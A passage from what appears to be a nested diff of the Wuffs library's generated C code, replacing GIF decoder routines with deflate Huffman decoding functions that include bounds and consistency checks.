((uint64_t)(*iop_a_src++)) << num_bits_4; -- if (num_bits_4 == 8) { -- t_4 = ((uint32_t)(*scratch)); -- break; -- } -- num_bits_4 += 8u; -- *scratch |= ((uint64_t)(num_bits_4)) << 56; -- } -- } -- self->private_impl.f_num_animation_loops_value = t_4; -+ wuffs_private_impl__io_writer__limited_copy_u32_from_slice( -+ &iop_a_dst, io2_a_dst,v_hlen, wuffs_base__make_slice_u8_ij(self->private_data.f_history, ((self->private_impl.f_history_index - v_hdist) & 32767u), 33025)); -+ if (v_length == 0u) { -+ goto label__loop__continue; - } -- self->private_impl.f_seen_num_animation_loops_value = true; -- if ((0u < self->private_impl.f_num_animation_loops_value) && (self->private_impl.f_num_animation_loops_value <= 65535u)) { -- self->private_impl.f_num_animation_loops_value += 1u; -+ if ((((uint64_t)((v_dist_minus_1 + 1u))) > ((uint64_t)(iop_a_dst - io0_a_dst))) || (((uint64_t)(v_length)) > ((uint64_t)(io2_a_dst - iop_a_dst))) || (((uint64_t)((v_length + 8u))) > ((uint64_t)(io2_a_dst - iop_a_dst)))) { -+ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_distance); -+ goto exit; - } -- } else if (self->private_impl.f_call_sequence >= 32u) { -- } else if (v_is_iccp && self->private_impl.f_report_metadata_iccp) { -- self->private_impl.f_metadata_fourcc = 1229144912u; -- self->private_impl.f_metadata_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); -- self->private_impl.f_call_sequence = 16u; -- status = wuffs_base__make_status(wuffs_base__note__metadata_reported); -- goto ok; -- } else if (v_is_xmp && self->private_impl.f_report_metadata_xmp) { -- self->private_impl.f_metadata_fourcc = 1481461792u; -- self->private_impl.f_metadata_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); -- self->private_impl.f_call_sequence = 16u; -- status = wuffs_base__make_status(wuffs_base__note__metadata_reported); -- goto ok; -+ } -+ if ((v_dist_minus_1 + 1u) >= 8u) { -+ wuffs_private_impl__io_writer__limited_copy_u32_from_history_8_byte_chunks_fast( -+ &iop_a_dst, io0_a_dst, io2_a_dst, v_length, (v_dist_minus_1 + 1u)); -+ } else if ((v_dist_minus_1 + 1u) == 1u) { -+ wuffs_private_impl__io_writer__limited_copy_u32_from_history_8_byte_chunks_distance_1_fast( -+ &iop_a_dst, io0_a_dst, io2_a_dst, v_length, (v_dist_minus_1 + 1u)); -+ } else { -+ wuffs_private_impl__io_writer__limited_copy_u32_from_history_fast( -+ &iop_a_dst, io0_a_dst, io2_a_dst, v_length, (v_dist_minus_1 + 1u)); - } - } while (0); -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); -- status = wuffs_gif__decoder__skip_blocks(self, a_src); -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- if (status.repr) { -- goto suspend; -+ } -+ if (v_n_bits > 63u) { -+ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); -+ goto exit; -+ } -+ while (v_n_bits >= 8u) { -+ v_n_bits -= 8u; -+ if (iop_a_src > io1_a_src) { -+ iop_a_src--; -+ } else { -+ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_i_o); -+ goto exit; - } -- -- ok: -- self->private_impl.p_decode_ae[0] = 0; -+ } -+ self->private_impl.f_bits = ((uint32_t)((v_bits & ((((uint64_t)(1u)) << v_n_bits) - 1u)))); -+ self->private_impl.f_n_bits = v_n_bits; -+ if ((self->private_impl.f_n_bits >= 8u) || ((self->private_impl.f_bits >> self->private_impl.f_n_bits) != 0u)) { -+ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); - goto exit; - } -- -- goto suspend; -- suspend: -- self->private_impl.p_decode_ae[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_data.s_decode_ae[0].v_block_size = v_block_size; -- self->private_data.s_decode_ae[0].v_is_animexts = v_is_animexts; -- self->private_data.s_decode_ae[0].v_is_netscape = v_is_netscape; -- self->private_data.s_decode_ae[0].v_is_iccp = v_is_iccp; -- self->private_data.s_decode_ae[0].v_is_xmp = v_is_xmp; -- - goto exit; - exit: -+ if (a_dst && a_dst->data.ptr) { -+ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -+ } - if (a_src && a_src->data.ptr) { - a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } - - return status; - } -+#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3) -+// ‼ WUFFS MULTI-FILE SECTION -x86_bmi2 - --// -------- func gif.decoder.decode_gc -+// -------- func deflate.decoder.decode_huffman_fast32 - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_gif__decoder__decode_gc( -- wuffs_gif__decoder* self, -+wuffs_deflate__decoder__decode_huffman_fast32( -+ wuffs_deflate__decoder* self, -+ wuffs_base__io_buffer* a_dst, - wuffs_base__io_buffer* a_src) { - wuffs_base__status status = wuffs_base__make_status(NULL); - -- uint8_t v_c = 0; -- uint8_t v_flags = 0; -- uint16_t v_gc_duration_centiseconds = 0; -+ uint32_t v_bits = 0; -+ uint32_t v_n_bits = 0; -+ uint32_t v_table_entry = 0; -+ uint32_t v_table_entry_n_bits = 0; -+ uint32_t v_lmask = 0; -+ uint32_t v_dmask = 0; -+ uint32_t v_redir_top = 0; -+ uint32_t v_redir_mask = 0; -+ uint32_t v_length = 0; -+ uint32_t v_dist_minus_1 = 0; -+ uint32_t v_hlen = 0; -+ uint32_t v_hdist = 0; -+ uint32_t v_hdist_adjustment = 0; - -+ uint8_t* iop_a_dst = NULL; -+ uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_dst && a_dst->data.ptr) { -+ io0_a_dst = a_dst->data.ptr; -+ io1_a_dst = io0_a_dst + a_dst->meta.wi; -+ iop_a_dst = io1_a_dst; -+ io2_a_dst = io0_a_dst + a_dst->data.len; -+ if (a_dst->meta.closed) { -+ io2_a_dst = iop_a_dst; -+ } -+ } - const uint8_t* iop_a_src = NULL; - const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; - const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -@@ -38502,106 +39863,205 @@ wuffs_gif__decoder__decode_gc( - io2_a_src = io0_a_src + a_src->meta.wi; - } - -- uint32_t coro_susp_point = self->private_impl.p_decode_gc[0]; -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -- -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_0 = *iop_a_src++; -- v_c = t_0; -+ if ((self->private_impl.f_n_bits >= 8u) || ((self->private_impl.f_bits >> (self->private_impl.f_n_bits & 7u)) != 0u)) { -+ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); -+ goto exit; -+ } -+ v_bits = self->private_impl.f_bits; -+ v_n_bits = self->private_impl.f_n_bits; -+ v_lmask = ((((uint32_t)(1u)) << self->private_impl.f_n_huffs_bits[0u]) - 1u); -+ v_dmask = ((((uint32_t)(1u)) << self->private_impl.f_n_huffs_bits[1u]) - 1u); -+ if (self->private_impl.f_transformed_history_count < (a_dst ? a_dst->meta.pos : 0u)) { -+ status = wuffs_base__make_status(wuffs_base__error__bad_i_o_position); -+ goto exit; -+ } -+ v_hdist_adjustment = ((uint32_t)((self->private_impl.f_transformed_history_count - (a_dst ? a_dst->meta.pos : 0u)))); -+ label__loop__continue:; -+ while ((((uint64_t)(io2_a_dst - iop_a_dst)) >= 266u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 12u)) { -+ if (v_n_bits < 15u) { -+ v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); -+ iop_a_src += 1u; -+ v_n_bits += 8u; -+ v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); -+ iop_a_src += 1u; -+ v_n_bits += 8u; -+ } else { - } -- if (v_c != 4u) { -- status = wuffs_base__make_status(wuffs_gif__error__bad_graphic_control); -+ v_table_entry = self->private_data.f_huffs[0u][(v_bits & v_lmask)]; -+ v_table_entry_n_bits = (v_table_entry & 15u); -+ v_bits >>= v_table_entry_n_bits; -+ v_n_bits -= v_table_entry_n_bits; -+ if ((v_table_entry >> 31u) != 0u) { -+ (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, ((uint8_t)((v_table_entry >> 8u)))), iop_a_dst += 1); -+ continue; -+ } else if ((v_table_entry >> 30u) != 0u) { -+ } else if ((v_table_entry >> 29u) != 0u) { -+ self->private_impl.f_end_of_block = true; -+ break; -+ } else if ((v_table_entry >> 28u) != 0u) { -+ if (v_n_bits < 15u) { -+ v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); -+ iop_a_src += 1u; -+ v_n_bits += 8u; -+ v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); -+ iop_a_src += 1u; -+ v_n_bits += 8u; -+ } else { -+ } -+ v_redir_top = ((v_table_entry >> 8u) & 65535u); -+ v_redir_mask = ((((uint32_t)(1u)) << ((v_table_entry >> 4u) & 15u)) - 1u); -+ v_table_entry = self->private_data.f_huffs[0u][((v_redir_top + (v_bits & v_redir_mask)) & 1023u)]; -+ v_table_entry_n_bits = (v_table_entry & 15u); -+ v_bits >>= v_table_entry_n_bits; -+ v_n_bits -= v_table_entry_n_bits; -+ if ((v_table_entry >> 31u) != 0u) { -+ (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, ((uint8_t)((v_table_entry >> 8u)))), iop_a_dst += 1); -+ continue; -+ } else if ((v_table_entry >> 30u) != 0u) { -+ } else if ((v_table_entry >> 29u) != 0u) { -+ self->private_impl.f_end_of_block = true; -+ break; -+ } else if ((v_table_entry >> 28u) != 0u) { -+ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -+ goto exit; -+ } else if ((v_table_entry >> 27u) != 0u) { -+ status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); -+ goto exit; -+ } else { -+ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -+ goto exit; -+ } -+ } else if ((v_table_entry >> 27u) != 0u) { -+ status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); -+ goto exit; -+ } else { -+ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); - goto exit; - } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -+ v_length = (((v_table_entry >> 8u) & 255u) + 3u); -+ v_table_entry_n_bits = ((v_table_entry >> 4u) & 15u); -+ if (v_table_entry_n_bits > 0u) { -+ if (v_n_bits < 15u) { -+ v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); -+ iop_a_src += 1u; -+ v_n_bits += 8u; -+ v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); -+ iop_a_src += 1u; -+ v_n_bits += 8u; -+ } else { - } -- uint8_t t_1 = *iop_a_src++; -- v_flags = t_1; -+ v_length = (((v_length + 253u + ((v_bits) & WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U32(v_table_entry_n_bits))) & 255u) + 3u); -+ v_bits >>= v_table_entry_n_bits; -+ v_n_bits -= v_table_entry_n_bits; -+ } else { - } -- self->private_impl.f_gc_has_transparent_index = ((v_flags & 1u) != 0u); -- v_flags = ((v_flags >> 2u) & 7u); -- if (v_flags == 2u) { -- self->private_impl.f_gc_disposal = 1u; -- } else if ((v_flags == 3u) || (v_flags == 4u)) { -- self->private_impl.f_gc_disposal = 2u; -+ if (v_n_bits < 15u) { -+ v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); -+ iop_a_src += 1u; -+ v_n_bits += 8u; -+ v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); -+ iop_a_src += 1u; -+ v_n_bits += 8u; - } else { -- self->private_impl.f_gc_disposal = 0u; - } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -- uint16_t t_2; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -- t_2 = wuffs_base__peek_u16le__no_bounds_check(iop_a_src); -- iop_a_src += 2; -+ v_table_entry = self->private_data.f_huffs[1u][(v_bits & v_dmask)]; -+ v_table_entry_n_bits = (v_table_entry & 15u); -+ v_bits >>= v_table_entry_n_bits; -+ v_n_bits -= v_table_entry_n_bits; -+ if ((v_table_entry >> 28u) == 1u) { -+ if (v_n_bits < 15u) { -+ v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); -+ iop_a_src += 1u; -+ v_n_bits += 8u; -+ v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); -+ iop_a_src += 1u; -+ v_n_bits += 8u; - } else { -- self->private_data.s_decode_gc[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_decode_gc[0].scratch; -- uint32_t num_bits_2 = ((uint32_t)(*scratch >> 56)); -- *scratch <<= 8; -- *scratch >>= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_2; -- if (num_bits_2 == 8) { -- t_2 = ((uint16_t)(*scratch)); -- break; -- } -- num_bits_2 += 8u; -- *scratch |= ((uint64_t)(num_bits_2)) << 56; -- } - } -- v_gc_duration_centiseconds = t_2; -+ v_redir_top = ((v_table_entry >> 8u) & 65535u); -+ v_redir_mask = ((((uint32_t)(1u)) << ((v_table_entry >> 4u) & 15u)) - 1u); -+ v_table_entry = self->private_data.f_huffs[1u][((v_redir_top + (v_bits & v_redir_mask)) & 1023u)]; -+ v_table_entry_n_bits = (v_table_entry & 15u); -+ v_bits >>= v_table_entry_n_bits; -+ v_n_bits -= v_table_entry_n_bits; -+ } else { - } -- self->private_impl.f_gc_duration = (((uint64_t)(v_gc_duration_centiseconds)) * 7056000u); -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -+ if ((v_table_entry >> 24u) != 64u) { -+ if ((v_table_entry >> 24u) == 8u) { -+ status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); -+ goto exit; - } -- uint8_t t_3 = *iop_a_src++; -- self->private_impl.f_gc_transparent_index = t_3; -+ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -+ goto exit; - } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_4 = *iop_a_src++; -- v_c = t_4; -+ v_dist_minus_1 = ((v_table_entry >> 8u) & 32767u); -+ v_table_entry_n_bits = ((v_table_entry >> 4u) & 15u); -+ if (v_n_bits < v_table_entry_n_bits) { -+ v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); -+ iop_a_src += 1u; -+ v_n_bits += 8u; -+ v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); -+ iop_a_src += 1u; -+ v_n_bits += 8u; - } -- if (v_c != 0u) { -- status = wuffs_base__make_status(wuffs_gif__error__bad_graphic_control); -+ v_dist_minus_1 = ((v_dist_minus_1 + ((v_bits) & WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U32(v_table_entry_n_bits))) & 32767u); -+ v_bits >>= v_table_entry_n_bits; -+ v_n_bits -= v_table_entry_n_bits; -+ do { -+ if (((uint64_t)((v_dist_minus_1 + 1u))) > ((uint64_t)(iop_a_dst - io0_a_dst))) { -+ v_hlen = 0u; -+ v_hdist = ((uint32_t)((((uint64_t)((v_dist_minus_1 + 1u))) - ((uint64_t)(iop_a_dst - io0_a_dst))))); -+ if (v_length > v_hdist) { -+ v_length -= v_hdist; -+ v_hlen = v_hdist; -+ } else { -+ v_hlen = v_length; -+ v_length = 0u; -+ } -+ v_hdist += v_hdist_adjustment; -+ if (self->private_impl.f_history_index < v_hdist) { -+ status = wuffs_base__make_status(wuffs_deflate__error__bad_distance); -+ goto exit; -+ } -+ wuffs_private_impl__io_writer__limited_copy_u32_from_slice( -+ &iop_a_dst, io2_a_dst,v_hlen, wuffs_base__make_slice_u8_ij(self->private_data.f_history, ((self->private_impl.f_history_index - v_hdist) & 32767u), 33025)); -+ if (v_length == 0u) { -+ goto label__loop__continue; -+ } -+ if ((((uint64_t)((v_dist_minus_1 + 1u))) > ((uint64_t)(iop_a_dst - io0_a_dst))) || (((uint64_t)(v_length)) > ((uint64_t)(io2_a_dst - iop_a_dst))) || (((uint64_t)((v_length + 8u))) > ((uint64_t)(io2_a_dst - iop_a_dst)))) { -+ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_distance); -+ goto exit; -+ } -+ } -+ if ((v_dist_minus_1 + 1u) >= 8u) { -+ wuffs_private_impl__io_writer__limited_copy_u32_from_history_8_byte_chunks_fast( -+ &iop_a_dst, io0_a_dst, io2_a_dst, v_length, (v_dist_minus_1 + 1u)); -+ } else { -+ wuffs_private_impl__io_writer__limited_copy_u32_from_history_fast( -+ &iop_a_dst, io0_a_dst, io2_a_dst, v_length, (v_dist_minus_1 + 1u)); -+ } -+ } while (0); -+ } -+ while (v_n_bits >= 8u) { -+ v_n_bits -= 8u; -+ if (iop_a_src > io1_a_src) { -+ iop_a_src--; -+ } else { -+ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_i_o); - goto exit; - } -- -- goto ok; -- ok: -- self->private_impl.p_decode_gc[0] = 0; -+ } -+ self->private_impl.f_bits = (v_bits & ((((uint32_t)(1u)) << v_n_bits) - 1u)); -+ self->private_impl.f_n_bits = v_n_bits; -+ if ((self->private_impl.f_n_bits >= 8u) || ((self->private_impl.f_bits >> self->private_impl.f_n_bits) != 0u)) { -+ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); - goto exit; - } -- -- goto suspend; -- suspend: -- self->private_impl.p_decode_gc[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- - goto exit; - exit: -+ if (a_dst && a_dst->data.ptr) { -+ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -+ } - if (a_src && a_src->data.ptr) { - a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } -@@ -38609,15 +40069,52 @@ wuffs_gif__decoder__decode_gc( - return status; - } - --// -------- func gif.decoder.decode_id_part0 -+// -------- func deflate.decoder.decode_huffman_fast64 - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_gif__decoder__decode_id_part0( -- wuffs_gif__decoder* self, -+wuffs_deflate__decoder__decode_huffman_fast64( -+ wuffs_deflate__decoder* self, -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__io_buffer* a_src) { -+ return (*self->private_impl.choosy_decode_huffman_fast64)(self, a_dst, a_src); -+} -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_deflate__decoder__decode_huffman_fast64__choosy_default( -+ wuffs_deflate__decoder* self, -+ wuffs_base__io_buffer* a_dst, - wuffs_base__io_buffer* a_src) { - wuffs_base__status status = wuffs_base__make_status(NULL); - -+ uint64_t v_bits = 0; -+ uint32_t v_n_bits = 0; -+ uint32_t v_table_entry = 0; -+ uint32_t v_table_entry_n_bits = 0; -+ uint64_t v_lmask = 0; -+ uint64_t v_dmask = 0; -+ uint32_t v_redir_top = 0; -+ uint32_t v_redir_mask = 0; -+ uint32_t v_length = 0; -+ uint32_t v_dist_minus_1 = 0; -+ uint32_t v_hlen = 0; -+ uint32_t v_hdist = 0; -+ uint32_t v_hdist_adjustment = 0; -+ -+ uint8_t* iop_a_dst = NULL; -+ uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_dst && a_dst->data.ptr) { -+ io0_a_dst = a_dst->data.ptr; -+ io1_a_dst = io0_a_dst + a_dst->meta.wi; -+ iop_a_dst = io1_a_dst; -+ io2_a_dst = io0_a_dst + a_dst->data.len; -+ if (a_dst->meta.closed) { -+ io2_a_dst = iop_a_dst; -+ } -+ } - const uint8_t* iop_a_src = NULL; - const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; - const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -@@ -38629,147 +40126,160 @@ wuffs_gif__decoder__decode_id_part0( - io2_a_src = io0_a_src + a_src->meta.wi; - } - -- uint32_t coro_susp_point = self->private_impl.p_decode_id_part0[0]; -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -- -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- uint32_t t_0; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -- t_0 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); -- iop_a_src += 2; -+ if ((self->private_impl.f_n_bits >= 8u) || ((self->private_impl.f_bits >> (self->private_impl.f_n_bits & 7u)) != 0u)) { -+ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); -+ goto exit; -+ } -+ v_bits = ((uint64_t)(self->private_impl.f_bits)); -+ v_n_bits = self->private_impl.f_n_bits; -+ v_lmask = ((((uint64_t)(1u)) << self->private_impl.f_n_huffs_bits[0u]) - 1u); -+ v_dmask = ((((uint64_t)(1u)) << self->private_impl.f_n_huffs_bits[1u]) - 1u); -+ if (self->private_impl.f_transformed_history_count < (a_dst ? a_dst->meta.pos : 0u)) { -+ status = wuffs_base__make_status(wuffs_base__error__bad_i_o_position); -+ goto exit; -+ } -+ v_hdist_adjustment = ((uint32_t)((self->private_impl.f_transformed_history_count - (a_dst ? a_dst->meta.pos : 0u)))); -+ label__loop__continue:; -+ while ((((uint64_t)(io2_a_dst - iop_a_dst)) >= 266u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 8u)) { -+ v_bits |= ((uint64_t)(wuffs_base__peek_u64le__no_bounds_check(iop_a_src) << (v_n_bits & 63u))); -+ iop_a_src += ((63u - (v_n_bits & 63u)) >> 3u); -+ v_n_bits |= 56u; -+ v_table_entry = self->private_data.f_huffs[0u][(v_bits & v_lmask)]; -+ v_table_entry_n_bits = (v_table_entry & 15u); -+ v_bits >>= v_table_entry_n_bits; -+ v_n_bits -= v_table_entry_n_bits; -+ if ((v_table_entry >> 31u) != 0u) { -+ (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, ((uint8_t)((v_table_entry >> 8u)))), iop_a_dst += 1); -+ continue; -+ } else if ((v_table_entry >> 30u) != 0u) { -+ } else if ((v_table_entry >> 29u) != 0u) { -+ self->private_impl.f_end_of_block = true; -+ break; -+ } else if ((v_table_entry >> 28u) != 0u) { -+ v_redir_top = ((v_table_entry >> 8u) & 65535u); -+ v_redir_mask = ((((uint32_t)(1u)) << ((v_table_entry >> 4u) & 15u)) - 1u); -+ v_table_entry = self->private_data.f_huffs[0u][((v_redir_top + (((uint32_t)(v_bits)) & v_redir_mask)) & 1023u)]; -+ v_table_entry_n_bits = (v_table_entry & 15u); -+ v_bits >>= v_table_entry_n_bits; -+ v_n_bits -= v_table_entry_n_bits; -+ if ((v_table_entry >> 31u) != 0u) { -+ (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, ((uint8_t)((v_table_entry >> 8u)))), iop_a_dst += 1); -+ continue; -+ } else if ((v_table_entry >> 30u) != 0u) { -+ } else if ((v_table_entry >> 29u) != 0u) { -+ self->private_impl.f_end_of_block = true; -+ break; -+ } else if ((v_table_entry >> 28u) != 0u) { -+ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -+ goto exit; -+ } else if ((v_table_entry >> 27u) != 0u) { -+ status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); -+ goto exit; - } else { -- self->private_data.s_decode_id_part0[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_decode_id_part0[0].scratch; -- uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); -- *scratch <<= 8; -- *scratch >>= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; -- if (num_bits_0 == 8) { -- t_0 = ((uint32_t)(*scratch)); -- break; -- } -- num_bits_0 += 8u; -- *scratch |= ((uint64_t)(num_bits_0)) << 56; -- } -+ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -+ goto exit; - } -- self->private_impl.f_frame_rect_x0 = t_0; -+ } else if ((v_table_entry >> 27u) != 0u) { -+ status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); -+ goto exit; -+ } else { -+ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -+ goto exit; - } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -- uint32_t t_1; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -- t_1 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); -- iop_a_src += 2; -- } else { -- self->private_data.s_decode_id_part0[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_decode_id_part0[0].scratch; -- uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); -- *scratch <<= 8; -- *scratch >>= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; -- if (num_bits_1 == 8) { -- t_1 = ((uint32_t)(*scratch)); -- break; -- } -- num_bits_1 += 8u; -- *scratch |= ((uint64_t)(num_bits_1)) << 56; -- } -- } -- self->private_impl.f_frame_rect_y0 = t_1; -+ v_length = (((v_table_entry >> 8u) & 255u) + 3u); -+ v_table_entry_n_bits = ((v_table_entry >> 4u) & 15u); -+ if (v_table_entry_n_bits > 0u) { -+ v_length = (((v_length + 253u + ((uint32_t)(((v_bits) & WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U64(v_table_entry_n_bits))))) & 255u) + 3u); -+ v_bits >>= v_table_entry_n_bits; -+ v_n_bits -= v_table_entry_n_bits; - } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -- uint32_t t_2; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -- t_2 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); -- iop_a_src += 2; -- } else { -- self->private_data.s_decode_id_part0[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_decode_id_part0[0].scratch; -- uint32_t num_bits_2 = ((uint32_t)(*scratch >> 56)); -- *scratch <<= 8; -- *scratch >>= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_2; -- if (num_bits_2 == 8) { -- t_2 = ((uint32_t)(*scratch)); -- break; -- } -- num_bits_2 += 8u; -- *scratch |= ((uint64_t)(num_bits_2)) << 56; -- } -+ v_table_entry = self->private_data.f_huffs[1u][(v_bits & v_dmask)]; -+ v_table_entry_n_bits = (v_table_entry & 15u); -+ v_bits >>= v_table_entry_n_bits; -+ v_n_bits -= v_table_entry_n_bits; -+ if ((v_table_entry >> 28u) == 1u) { -+ v_redir_top = ((v_table_entry >> 8u) & 65535u); -+ v_redir_mask = ((((uint32_t)(1u)) << ((v_table_entry >> 4u) & 15u)) - 1u); -+ v_table_entry = 